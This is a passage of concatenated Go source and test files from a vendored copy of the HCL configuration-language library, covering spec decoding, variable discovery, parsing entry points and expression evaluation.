visitSameBodyChildren(cb visitFunc) { cb(s.Wrapped) } func (s *TransformFuncSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx) if diags.HasErrors() { // We won't try to run our function in this case, because it'll probably // generate confusing additional errors that will distract from the // root cause. return cty.UnknownVal(s.impliedType()), diags } resultVal, err := s.Func.Call([]cty.Value{wrappedVal}) if err != nil { // This is not a good example of a diagnostic because it is reporting // a programming error in the calling application, rather than something // an end-user could act on. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Transform function failed", Detail: fmt.Sprintf("Decoder transform returned an error: %s", err), Subject: s.sourceRange(content, blockLabels).Ptr(), }) return cty.UnknownVal(s.impliedType()), diags } return resultVal, diags } func (s *TransformFuncSpec) impliedType() cty.Type { wrappedTy := s.Wrapped.impliedType() resultTy, err := s.Func.ReturnType([]cty.Type{wrappedTy}) if err != nil { // Should never happen with a correctly-configured spec return cty.DynamicPseudoType } return resultTy } func (s *TransformFuncSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We'll just pass through our wrapped range here, even though that's // not super-accurate, because there's nothing better to return. return s.Wrapped.sourceRange(content, blockLabels) } // ValidateFuncSpec is a spec that allows for extended // developer-defined validation. The validation function receives the // result of the wrapped spec. // // The Subject field of the returned Diagnostic is optional. If not // specified, it is automatically populated with the range covered by // the wrapped spec. // type ValidateSpec struct { Wrapped Spec Func func(value cty.Value) hcl.Diagnostics } func (s *ValidateSpec) visitSameBodyChildren(cb visitFunc) { cb(s.Wrapped) } func (s *ValidateSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx) if diags.HasErrors() { // We won't try to run our function in this case, because it'll probably // generate confusing additional errors that will distract from the // root cause. return cty.UnknownVal(s.impliedType()), diags } validateDiags := s.Func(wrappedVal) // Auto-populate the Subject fields if they weren't set. for i := range validateDiags { if validateDiags[i].Subject == nil { validateDiags[i].Subject = s.sourceRange(content, blockLabels).Ptr() } } diags = append(diags, validateDiags...) return wrappedVal, diags } func (s *ValidateSpec) impliedType() cty.Type { return s.Wrapped.impliedType() } func (s *ValidateSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { return s.Wrapped.sourceRange(content, blockLabels) } // noopSpec is a placeholder spec that does nothing, used in situations where // a non-nil placeholder spec is required. It is not exported because there is // no reason to use it directly; it is always an implementation detail only. type noopSpec struct { } func (s noopSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return cty.NullVal(cty.DynamicPseudoType), nil } func (s noopSpec) impliedType() cty.Type { return cty.DynamicPseudoType } func (s noopSpec) visitSameBodyChildren(cb visitFunc) { // nothing to do } func (s noopSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // No useful range for a noopSpec, and nobody should be calling this anyway. return hcl.Range{ Filename: "noopSpec", } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/spec_test.go000066400000000000000000000146461467014221700265720ustar00rootroot00000000000000package hcldec import ( "fmt" "reflect" "testing" "github.com/apparentlymart/go-dump/dump" "github.com/zclconf/go-cty/cty" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) // Verify that all of our spec types implement the necessary interfaces var _ Spec = ObjectSpec(nil) var _ Spec = TupleSpec(nil) var _ Spec = (*AttrSpec)(nil) var _ Spec = (*LiteralSpec)(nil) var _ Spec = (*ExprSpec)(nil) var _ Spec = (*BlockSpec)(nil) var _ Spec = (*BlockListSpec)(nil) var _ Spec = (*BlockSetSpec)(nil) var _ Spec = (*BlockMapSpec)(nil) var _ Spec = (*BlockAttrsSpec)(nil) var _ Spec = (*BlockLabelSpec)(nil) var _ Spec = (*DefaultSpec)(nil) var _ Spec = (*TransformExprSpec)(nil) var _ Spec = (*TransformFuncSpec)(nil) var _ Spec = (*ValidateSpec)(nil) var _ attrSpec = (*AttrSpec)(nil) var _ attrSpec = (*DefaultSpec)(nil) var _ blockSpec = (*BlockSpec)(nil) var _ blockSpec = (*BlockListSpec)(nil) var _ blockSpec = (*BlockSetSpec)(nil) var _ blockSpec = (*BlockMapSpec)(nil) var _ blockSpec = (*BlockAttrsSpec)(nil) var _ blockSpec = (*DefaultSpec)(nil) var _ specNeedingVariables = (*AttrSpec)(nil) var _ specNeedingVariables = (*BlockSpec)(nil) var _ specNeedingVariables = (*BlockListSpec)(nil) var _ specNeedingVariables = (*BlockSetSpec)(nil) var _ specNeedingVariables = (*BlockMapSpec)(nil) var _ specNeedingVariables = (*BlockAttrsSpec)(nil) func TestDefaultSpec(t *testing.T) { config := ` foo = fooval bar = barval ` f, diags := hclsyntax.ParseConfig([]byte(config), "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatal(diags.Error()) } t.Run("primary set", func(t *testing.T) { spec := &DefaultSpec{ Primary: &AttrSpec{ Name: "foo", Type: cty.String, }, Default: &AttrSpec{ Name: "bar", Type: cty.String, }, } gotVars := Variables(f.Body, spec) wantVars := []hcl.Traversal{ { hcl.TraverseRoot{ Name: "fooval", SrcRange: hcl.Range{ Filename: "", Start: hcl.Pos{Line: 2, Column: 7, Byte: 7}, End: hcl.Pos{Line: 2, Column: 13, Byte: 13}, }, }, }, { hcl.TraverseRoot{ Name: "barval", SrcRange: hcl.Range{ Filename: "", Start: hcl.Pos{Line: 3, Column: 7, Byte: 20}, End: hcl.Pos{Line: 3, Column: 13, Byte: 26}, }, }, }, } if !reflect.DeepEqual(gotVars, wantVars) { t.Errorf("wrong Variables result\ngot: %s\nwant: %s", dump.Value(gotVars), dump.Value(wantVars)) } ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "fooval": cty.StringVal("foo value"), "barval": cty.StringVal("bar value"), }, } got, err := Decode(f.Body, spec, ctx) if err != nil { t.Fatal(err) } want := cty.StringVal("foo value") if !got.RawEquals(want) { t.Errorf("wrong Decode result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("primary not set", func(t *testing.T) { spec := &DefaultSpec{ Primary: &AttrSpec{ Name: "foo", Type: cty.String, }, Default: &AttrSpec{ Name: "bar", Type: cty.String, }, } ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "fooval": cty.NullVal(cty.String), "barval": cty.StringVal("bar value"), }, } got, err := Decode(f.Body, spec, ctx) if err != nil { t.Fatal(err) } want := cty.StringVal("bar value") if !got.RawEquals(want) { t.Errorf("wrong Decode result\ngot: %#v\nwant: %#v", got, want) } }) } func TestValidateFuncSpec(t *testing.T) { config := ` foo = "invalid" ` f, diags := hclsyntax.ParseConfig([]byte(config), "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatal(diags.Error()) } expectRange := map[string]*hcl.Range{ "without_range": nil, "with_range": &hcl.Range{ Filename: "foobar", Start: hcl.Pos{Line: 99, Column: 99}, End: hcl.Pos{Line: 999, Column: 999}, }, } for name := range expectRange { t.Run(name, func(t *testing.T) { spec := &ValidateSpec{ Wrapped: &AttrSpec{ Name: "foo", Type: cty.String, }, Func: func(value cty.Value) hcl.Diagnostics { if value.AsString() != "invalid" { return hcl.Diagnostics{ &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "incorrect value", Detail: fmt.Sprintf("invalid value passed in: %s", value.GoString()), }, } } return hcl.Diagnostics{ &hcl.Diagnostic{ Severity: hcl.DiagWarning, Summary: "OK", Detail: "validation called correctly", Subject: expectRange[name], }, } }, } _, diags = Decode(f.Body, spec, nil) if len(diags) != 1 || diags[0].Severity != hcl.DiagWarning || diags[0].Summary != "OK" || diags[0].Detail != "validation called correctly" { t.Fatalf("unexpected diagnostics: %s", diags.Error()) } if expectRange[name] == nil && diags[0].Subject == nil { t.Fatal("returned diagnostic subject missing") } if expectRange[name] != nil && !reflect.DeepEqual(expectRange[name], diags[0].Subject) { t.Fatalf("expected range %s, got range %s", expectRange[name], diags[0].Subject) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/variables.go000066400000000000000000000022301467014221700265330ustar00rootroot00000000000000package hcldec import ( "Havoc/pkg/profile/yaotl" ) // Variables processes the given body with the given spec and returns a // list of the variable traversals that would be required to decode // the same pairing of body and spec. // // This can be used to conditionally populate the variables in the EvalContext // passed to Decode, for applications where a static scope is insufficient. // // If the given body is not compliant with the given schema, the result may // be incomplete, but that's assumed to be okay because the eventual call // to Decode will produce error diagnostics anyway. func Variables(body hcl.Body, spec Spec) []hcl.Traversal { var vars []hcl.Traversal schema := ImpliedSchema(spec) content, _, _ := body.PartialContent(schema) if vs, ok := spec.(specNeedingVariables); ok { vars = append(vars, vs.variablesNeeded(content)...) } var visitFn visitFunc visitFn = func(s Spec) { if vs, ok := s.(specNeedingVariables); ok { vars = append(vars, vs.variablesNeeded(content)...) } s.visitSameBodyChildren(visitFn) } spec.visitSameBodyChildren(visitFn) return vars } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/variables_test.go000066400000000000000000000134251467014221700276020ustar00rootroot00000000000000package hcldec import ( "fmt" "reflect" "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) func TestVariables(t *testing.T) { tests := []struct { config string spec Spec want []hcl.Traversal }{ { ``, &ObjectSpec{}, nil, }, { "a = foo\n", &ObjectSpec{}, nil, // "a" is not actually used, so "foo" is not required }, { "a = foo\n", &AttrSpec{ Name: "a", }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 5, Byte: 4}, End: hcl.Pos{Line: 1, Column: 8, Byte: 7}, }, }, }, }, }, { "a = foo\nb = bar\n", &DefaultSpec{ Primary: &AttrSpec{ Name: "a", }, Default: &AttrSpec{ Name: "b", }, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 5, Byte: 4}, End: hcl.Pos{Line: 1, Column: 8, Byte: 7}, }, }, }, { hcl.TraverseRoot{ Name: "bar", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 2, Column: 5, Byte: 12}, End: hcl.Pos{Line: 2, Column: 8, Byte: 15}, }, }, }, }, }, { "a = foo\n", &ObjectSpec{ "a": &AttrSpec{ Name: "a", }, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 5, Byte: 4}, End: hcl.Pos{Line: 1, Column: 8, Byte: 7}, }, }, }, }, }, { ` b { a = foo } `, &BlockSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", }, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 3, Column: 7, Byte: 11}, End: hcl.Pos{Line: 3, Column: 10, Byte: 14}, }, }, }, }, }, { ` b { a = foo b = bar } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 3, Column: 7, Byte: 11}, End: hcl.Pos{Line: 3, Column: 10, Byte: 14}, }, }, }, { hcl.TraverseRoot{ Name: "bar", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 4, Column: 7, Byte: 21}, End: hcl.Pos{Line: 4, Column: 10, Byte: 24}, }, }, }, }, }, { ` b { a = foo } b { a = bar } c { a = baz } `, &BlockListSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", }, }, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 3, Column: 7, Byte: 11}, End: hcl.Pos{Line: 3, Column: 10, Byte: 14}, }, }, }, { hcl.TraverseRoot{ Name: "bar", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 6, Column: 7, Byte: 27}, End: hcl.Pos{Line: 6, Column: 10, Byte: 30}, }, }, }, }, }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.config), func(t *testing.T) { file, diags := hclsyntax.ParseConfig([]byte(test.config), "", hcl.Pos{Line: 1, Column: 1, Byte: 0}) if len(diags) != 0 { t.Errorf("wrong number of diagnostics from ParseConfig %d; want %d", len(diags), 0) for _, diag := range diags { t.Logf(" - %s", diag.Error()) } } body := file.Body got := Variables(body, test.spec) if !reflect.DeepEqual(got, test.want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcled/000077500000000000000000000000001467014221700240745ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcled/doc.go000066400000000000000000000003351467014221700251710ustar00rootroot00000000000000// Package hcled provides functionality intended to help an application // that embeds HCL to deliver relevant information to a text editor or IDE // for navigating around and analyzing configuration files. package hcled havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcled/navigation.go000066400000000000000000000016571467014221700265730ustar00rootroot00000000000000package hcled import ( "Havoc/pkg/profile/yaotl" ) type contextStringer interface { ContextString(offset int) string } // ContextString returns a string describing the context of the given byte // offset, if available. An empty string is returned if no such information // is available, or otherwise the returned string is in a form that depends // on the language used to write the referenced file. func ContextString(file *hcl.File, offset int) string { if cser, ok := file.Nav.(contextStringer); ok { return cser.ContextString(offset) } return "" } type contextDefRanger interface { ContextDefRange(offset int) hcl.Range } func ContextDefRange(file *hcl.File, offset int) hcl.Range { if cser, ok := file.Nav.(contextDefRanger); ok { defRange := cser.ContextDefRange(offset) if !defRange.Empty() { return defRange } } return file.Body.MissingItemRange() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclparse/000077500000000000000000000000001467014221700246165ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclparse/parser.go000066400000000000000000000115531467014221700264460ustar00rootroot00000000000000// Package hclparse has the main API entry point for parsing both HCL native // syntax and HCL JSON. // // The main HCL package also includes SimpleParse and SimpleParseFile which // can be a simpler interface for the common case where an application just // needs to parse a single file. The gohcl package simplifies that further // in its SimpleDecode function, which combines hcl.SimpleParse with decoding // into Go struct values // // Package hclparse, then, is useful for applications that require more fine // control over parsing or which need to load many separate files and keep // track of them for possible error reporting or other analysis. package hclparse import ( "fmt" "io/ioutil" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "Havoc/pkg/profile/yaotl/json" ) // NOTE: This is the public interface for parsing. The actual parsers are // in other packages alongside this one, with this package just wrapping them // to provide a unified interface for the caller across all supported formats. // Parser is the main interface for parsing configuration files. As well as // parsing files, a parser also retains a registry of all of the files it // has parsed so that multiple attempts to parse the same file will return // the same object and so the collected files can be used when printing // diagnostics. // // Any diagnostics for parsing a file are only returned once on the first // call to parse that file. Callers are expected to collect up diagnostics // and present them together, so returning diagnostics for the same file // multiple times would create a confusing result. type Parser struct { files map[string]*hcl.File } // NewParser creates a new parser, ready to parse configuration files. func NewParser() *Parser { return &Parser{ files: map[string]*hcl.File{}, } } // ParseHCL parses the given buffer (which is assumed to have been loaded from // the given filename) as a native-syntax configuration file and returns the // hcl.File object representing it. func (p *Parser) ParseHCL(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { if existing := p.files[filename]; existing != nil { return existing, nil } file, diags := hclsyntax.ParseConfig(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1}) p.files[filename] = file return file, diags } // ParseHCLFile reads the given filename and parses it as a native-syntax HCL // configuration file. An error diagnostic is returned if the given file // cannot be read. func (p *Parser) ParseHCLFile(filename string) (*hcl.File, hcl.Diagnostics) { if existing := p.files[filename]; existing != nil { return existing, nil } src, err := ioutil.ReadFile(filename) if err != nil { return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Failed to read file", Detail: fmt.Sprintf("The configuration file %q could not be read.", filename), }, } } return p.ParseHCL(src, filename) } // ParseJSON parses the given JSON buffer (which is assumed to have been loaded // from the given filename) and returns the hcl.File object representing it. func (p *Parser) ParseJSON(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { if existing := p.files[filename]; existing != nil { return existing, nil } file, diags := json.Parse(src, filename) p.files[filename] = file return file, diags } // ParseJSONFile reads the given filename and parses it as JSON, similarly to // ParseJSON. An error diagnostic is returned if the given file cannot be read. func (p *Parser) ParseJSONFile(filename string) (*hcl.File, hcl.Diagnostics) { if existing := p.files[filename]; existing != nil { return existing, nil } file, diags := json.ParseFile(filename) p.files[filename] = file return file, diags } // AddFile allows a caller to record in a parser a file that was parsed some // other way, thus allowing it to be included in the registry of sources. func (p *Parser) AddFile(filename string, file *hcl.File) { p.files[filename] = file } // Sources returns a map from filenames to the raw source code that was // read from them. This is intended to be used, for example, to print // diagnostics with contextual information. // // The arrays underlying the returned slices should not be modified. func (p *Parser) Sources() map[string][]byte { ret := make(map[string][]byte) for fn, f := range p.files { ret[fn] = f.Bytes } return ret } // Files returns a map from filenames to the File objects produced from them. // This is intended to be used, for example, to print diagnostics with // contextual information. // // The returned map and all of the objects it refers to directly or indirectly // must not be modified. func (p *Parser) Files() map[string]*hcl.File { return p.files } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsimple/000077500000000000000000000000001467014221700247755ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsimple/hclsimple.go000066400000000000000000000065151467014221700273130ustar00rootroot00000000000000// Package hclsimple is a higher-level entry point for loading HCL // configuration files directly into Go struct values in a single step. // // This package is more opinionated than the rest of the HCL API. See the // documentation for function Decode for more information. package hclsimple import ( "fmt" "io/ioutil" "os" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/gohcl" "Havoc/pkg/profile/yaotl/hclsyntax" ) // Decode parses, decodes, and evaluates expressions in the given HCL source // code, in a single step. // // The main HCL API is built to allow applications that need to decompose // the processing steps into a pipeline, with different tasks done by // different parts of the program: parsing the source code into an abstract // representation, analysing the block structure, evaluating expressions, // and then extracting the results into a form consumable by the rest of // the program. // // This function does all of those steps in one call, going directly from // source code to a populated Go struct value. // // The "filename" and "src" arguments describe the input configuration. The // filename is used to add source location context to any returned error // messages and its suffix will choose one of the two supported syntaxes: // ".hcl" for native syntax, and ".json" for HCL JSON. The src must therefore // contain a sequence of bytes that is valid for the selected syntax. // // The "ctx" argument provides variables and functions for use during // expression evaluation. Applications that need no variables nor functions // can just pass nil. // // The "target" argument must be a pointer to a value of a struct type, // with struct tags as defined by the sibling package "gohcl". // // The return type is error but any non-nil error is guaranteed to be // type-assertable to hcl.Diagnostics for applications that wish to access // the full error details. // // This is a very opinionated function that is intended to serve the needs of // applications that are just using HCL for simple configuration and don't // need detailed control over the decoding process. Because this function is // just wrapping functionality elsewhere, if it doesn't meet your needs then // please consider copying it into your program and adapting it as needed. func Decode(filename string, src []byte, ctx *hcl.EvalContext, target interface{}) error { var file *hcl.File var diags hcl.Diagnostics file, diags = hclsyntax.ParseConfig(src, filename, hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return diags } diags = gohcl.DecodeBody(file.Body, ctx, target) if diags.HasErrors() { return diags } return nil } // DecodeFile is a wrapper around Decode that first reads the given filename // from disk. See the Decode documentation for more information. func DecodeFile(filename string, ctx *hcl.EvalContext, target interface{}) error { src, err := ioutil.ReadFile(filename) if err != nil { if os.IsNotExist(err) { return hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Configuration file not found", Detail: fmt.Sprintf("The configuration file %s does not exist.", filename), }, } } return hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Failed to read configuration", Detail: fmt.Sprintf("Can't read %s: %s.", filename, err), }, } } return Decode(filename, src, ctx, target) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/000077500000000000000000000000001467014221700250325ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/diagnostics.go000066400000000000000000000015121467014221700276670ustar00rootroot00000000000000package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // setDiagEvalContext is an internal helper that will impose a particular // EvalContext on a set of diagnostics in-place, for any diagnostic that // does not already have an EvalContext set. // // We generally expect diagnostics to be immutable, but this is safe to use // on any Diagnostics where none of the contained Diagnostic objects have yet // been seen by a caller. Its purpose is to apply additional context to a // set of diagnostics produced by a "deeper" component as the stack unwinds // during expression evaluation. func setDiagEvalContext(diags hcl.Diagnostics, expr hcl.Expression, ctx *hcl.EvalContext) { for _, diag := range diags { if diag.Expression == nil { diag.Expression = expr diag.EvalContext = ctx } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/didyoumean.go000066400000000000000000000014551467014221700275240ustar00rootroot00000000000000package hclsyntax import ( "github.com/agext/levenshtein" ) // nameSuggestion tries to find a name from the given slice of suggested names // that is close to the given name and returns it if found. If no suggestion // is close enough, returns the empty string. // // The suggestions are tried in order, so earlier suggestions take precedence // if the given string is similar to two or more suggestions. // // This function is intended to be used with a relatively-small number of // suggestions. It's not optimized for hundreds or thousands of them. func nameSuggestion(given string, suggestions []string) string { for _, suggestion := range suggestions { dist := levenshtein.Distance(given, suggestion, nil) if dist < 3 { // threshold determined experimentally return suggestion } } return "" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/doc.go000066400000000000000000000005031467014221700261240ustar00rootroot00000000000000// Package hclsyntax contains the parser, AST, etc for HCL's native language, // as opposed to the JSON variant. // // In normal use applications should rarely depend on this package directly, // instead preferring the higher-level interface of the main hcl package and // its companion package hclparse. package hclsyntax havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/expression.go000066400000000000000000001541561467014221700275740ustar00rootroot00000000000000package hclsyntax import ( "fmt" "sync" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/ext/customdecode" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/function" ) // Expression is the abstract type for nodes that behave as HCL expressions. type Expression interface { Node // The hcl.Expression methods are duplicated here, rather than simply // embedded, because both Node and hcl.Expression have a Range method // and so they conflict. Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) Variables() []hcl.Traversal StartRange() hcl.Range } // Assert that Expression implements hcl.Expression var assertExprImplExpr hcl.Expression = Expression(nil) // ParenthesesExpr represents an expression written in grouping // parentheses. // // The parser takes care of the precedence effect of the parentheses, so the // only purpose of this separate expression node is to capture the source range // of the parentheses themselves, rather than the source range of the // expression within. All of the other expression operations just pass through // to the underlying expression. type ParenthesesExpr struct { Expression SrcRange hcl.Range } var _ hcl.Expression = (*ParenthesesExpr)(nil) func (e *ParenthesesExpr) Range() hcl.Range { return e.SrcRange } func (e *ParenthesesExpr) walkChildNodes(w internalWalkFunc) { // We override the walkChildNodes from the embedded Expression to // ensure that both the parentheses _and_ the content are visible // in a walk. w(e.Expression) } // LiteralValueExpr is an expression that just always returns a given value. type LiteralValueExpr struct { Val cty.Value SrcRange hcl.Range } func (e *LiteralValueExpr) walkChildNodes(w internalWalkFunc) { // Literal values have no child nodes } func (e *LiteralValueExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return e.Val, nil } func (e *LiteralValueExpr) Range() hcl.Range { return e.SrcRange } func (e *LiteralValueExpr) StartRange() hcl.Range { return e.SrcRange } // Implementation for hcl.AbsTraversalForExpr. func (e *LiteralValueExpr) AsTraversal() hcl.Traversal { // This one's a little weird: the contract for AsTraversal is to interpret // an expression as if it were traversal syntax, and traversal syntax // doesn't have the special keywords "null", "true", and "false" so these // are expected to be treated like variables in that case. // Since our parser already turned them into LiteralValueExpr by the time // we get here, we need to undo this and infer the name that would've // originally led to our value. // We don't do anything for any other values, since they don't overlap // with traversal roots. if e.Val.IsNull() { // In practice the parser only generates null values of the dynamic // pseudo-type for literals, so we can safely assume that any null // was originally the keyword "null". return hcl.Traversal{ hcl.TraverseRoot{ Name: "null", SrcRange: e.SrcRange, }, } } switch e.Val { case cty.True: return hcl.Traversal{ hcl.TraverseRoot{ Name: "true", SrcRange: e.SrcRange, }, } case cty.False: return hcl.Traversal{ hcl.TraverseRoot{ Name: "false", SrcRange: e.SrcRange, }, } default: // No traversal is possible for any other value. return nil } } // ScopeTraversalExpr is an Expression that retrieves a value from the scope // using a traversal. type ScopeTraversalExpr struct { Traversal hcl.Traversal SrcRange hcl.Range } func (e *ScopeTraversalExpr) walkChildNodes(w internalWalkFunc) { // Scope traversals have no child nodes } func (e *ScopeTraversalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { val, diags := e.Traversal.TraverseAbs(ctx) setDiagEvalContext(diags, e, ctx) return val, diags } func (e *ScopeTraversalExpr) Range() hcl.Range { return e.SrcRange } func (e *ScopeTraversalExpr) StartRange() hcl.Range { return e.SrcRange } // Implementation for hcl.AbsTraversalForExpr. func (e *ScopeTraversalExpr) AsTraversal() hcl.Traversal { return e.Traversal } // RelativeTraversalExpr is an Expression that retrieves a value from another // value using a _relative_ traversal. type RelativeTraversalExpr struct { Source Expression Traversal hcl.Traversal SrcRange hcl.Range } func (e *RelativeTraversalExpr) walkChildNodes(w internalWalkFunc) { w(e.Source) } func (e *RelativeTraversalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { src, diags := e.Source.Value(ctx) ret, travDiags := e.Traversal.TraverseRel(src) setDiagEvalContext(travDiags, e, ctx) diags = append(diags, travDiags...) return ret, diags } func (e *RelativeTraversalExpr) Range() hcl.Range { return e.SrcRange } func (e *RelativeTraversalExpr) StartRange() hcl.Range { return e.SrcRange } // Implementation for hcl.AbsTraversalForExpr. func (e *RelativeTraversalExpr) AsTraversal() hcl.Traversal { // We can produce a traversal only if our source can. st, diags := hcl.AbsTraversalForExpr(e.Source) if diags.HasErrors() { return nil } ret := make(hcl.Traversal, len(st)+len(e.Traversal)) copy(ret, st) copy(ret[len(st):], e.Traversal) return ret } // FunctionCallExpr is an Expression that calls a function from the EvalContext // and returns its result. type FunctionCallExpr struct { Name string Args []Expression // If true, the final argument should be a tuple, list or set which will // expand to be one argument per element. ExpandFinal bool NameRange hcl.Range OpenParenRange hcl.Range CloseParenRange hcl.Range } func (e *FunctionCallExpr) walkChildNodes(w internalWalkFunc) { for _, arg := range e.Args { w(arg) } } func (e *FunctionCallExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics var f function.Function exists := false hasNonNilMap := false thisCtx := ctx for thisCtx != nil { if thisCtx.Functions == nil { thisCtx = thisCtx.Parent() continue } hasNonNilMap = true f, exists = thisCtx.Functions[e.Name] if exists { break } thisCtx = thisCtx.Parent() } if !exists { if !hasNonNilMap { return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Function calls not allowed", Detail: "Functions may not be called here.", Subject: e.Range().Ptr(), Expression: e, EvalContext: ctx, }, } } avail := make([]string, 0, len(ctx.Functions)) for name := range ctx.Functions { avail = append(avail, name) } suggestion := nameSuggestion(e.Name, avail) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Call to unknown function", Detail: fmt.Sprintf("There is no function named %q.%s", e.Name, suggestion), Subject: &e.NameRange, Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }, } } params := f.Params() varParam := f.VarParam() args := e.Args if e.ExpandFinal { if len(args) < 1 { // should never happen if the parser is behaving panic("ExpandFinal set on function call with no arguments") } expandExpr := args[len(args)-1] expandVal, expandDiags := expandExpr.Value(ctx) diags = append(diags, expandDiags...) if expandDiags.HasErrors() { return cty.DynamicVal, diags } switch { case expandVal.Type().Equals(cty.DynamicPseudoType): if expandVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid expanding argument value", Detail: "The expanding argument (indicated by ...) must not be null.", Subject: expandExpr.Range().Ptr(), Context: e.Range().Ptr(), Expression: expandExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } return cty.DynamicVal, diags case expandVal.Type().IsTupleType() || expandVal.Type().IsListType() || expandVal.Type().IsSetType(): if expandVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid expanding argument value", Detail: "The expanding argument (indicated by ...) must not be null.", Subject: expandExpr.Range().Ptr(), Context: e.Range().Ptr(), Expression: expandExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } if !expandVal.IsKnown() { return cty.DynamicVal, diags } // When expanding arguments from a collection, we must first unmark // the collection itself, and apply any marks directly to the // elements. This ensures that marks propagate correctly. expandVal, marks := expandVal.Unmark() newArgs := make([]Expression, 0, (len(args)-1)+expandVal.LengthInt()) newArgs = append(newArgs, args[:len(args)-1]...) it := expandVal.ElementIterator() for it.Next() { _, val := it.Element() newArgs = append(newArgs, &LiteralValueExpr{ Val: val.WithMarks(marks), SrcRange: expandExpr.Range(), }) } args = newArgs default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid expanding argument value", Detail: "The expanding argument (indicated by ...) must be of a tuple, list, or set type.", Subject: expandExpr.Range().Ptr(), Context: e.Range().Ptr(), Expression: expandExpr, EvalContext: ctx, 